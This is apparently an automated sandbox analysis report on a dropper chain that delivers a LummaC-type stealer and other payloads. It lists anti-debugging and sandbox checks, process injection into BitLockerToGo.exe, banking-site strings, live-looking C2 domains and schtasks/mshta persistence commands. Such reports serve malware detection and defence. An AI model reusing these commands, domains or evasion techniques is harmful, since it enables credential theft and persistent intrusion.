Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: usPaQ3D.exe, 0000000B.00000002.2756215546.00000000134ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

API call chain: ExitProcess graph end node

graph_12-14173

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

Code function: 1_2_051702E6 Start: 05170407 End: 05170302

1_2_051702E6

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

Code function: 1_2_05170D0C rdtsc

1_2_05170D0C

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

Code function: 12_2_001502D0 LdrInitializeThunk,

12_2_001502D0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F1652B mov eax, dword ptr fs:[00000030h]		5_2_00F1652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00F1A302 mov eax, dword ptr fs:[00000030h]		5_2_00F1A302

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Memory written: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: robinsharez.shop
Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: handscreamny.shop
Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: chipdonkeruz.shop
Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: versersleep.shop
Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crowdwarek.shop
Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: apporholis.shop
Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: femalsabler.shop
Source: oavvDqT.exe, 00000009.00000003.2160657385.000000000A928000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: soundtappysk.shop
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: finickypwk.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: shoefeatthe.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: savorraiykj.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: kickykiduz.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: miniatureyu.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: leggelatez.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: washyceehsu.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bloodyswif.lat
Source: WZMQlGj.exe, 0000000C.00000002.2630794101.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: unbecoming.shop
Source: fe4d890d0f.exe, 00000039.00000002.2642910536.0000000000DF1000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: plodnittpw.lat

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 235008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 444000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 447000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 455000	Jump to behavior

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe "C:\Users\user~1\AppData\Local\Temp\1034725001\oavvDqT.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe "C:\Users\user~1\AppData\Local\Temp\1034761001\13Z5sqy.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe "C:\Users\user~1\AppData\Local\Temp\1037345001\usPaQ3D.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe "C:\Users\user~1\AppData\Local\Temp\1038070001\WZMQlGj.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe "C:\Users\user~1\AppData\Local\Temp\1038359001\oldVNC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe "C:\Users\user~1\AppData\Local\Temp\1038908001\bKIFsVe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe "C:\Users\user~1\AppData\Local\Temp\1039079001\b2ee16741f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe "C:\Users\user~1\AppData\Local\Temp\1039112001\fe4d890d0f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Process created: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe"
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7EA0.tmp\7EB1.tmp\7EB2.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe" any_word
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\842E.tmp\842F.tmp\8430.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "xDvMwmaSqhU" /tr "mshta \"C:\Temp\Pn8FljxwM.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" any_word
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "TFEmhma7T5L" /tr "mshta \"C:\Temp\2alGwEWbJ.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"

Source: skotes.exe, skotes.exe, 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Program Manager
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Shell_TrayWnd
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: ProgMan
Source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Shell_TrayWnd!SHELLDLL_DefView
Source: oldVNC.exe, 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndSysPagerToolbarWindow32U
Source: oldVNC.exe, 0000000D.00000000.2260521974.0000000000419000.00000020.00000001.01000000.0000000E.sdmp	Binary or memory string: explorer.exeShell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_00EFD3E2 cpuid

5_2_00EFD3E2

Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe VolumeInformation	Jump to behavior
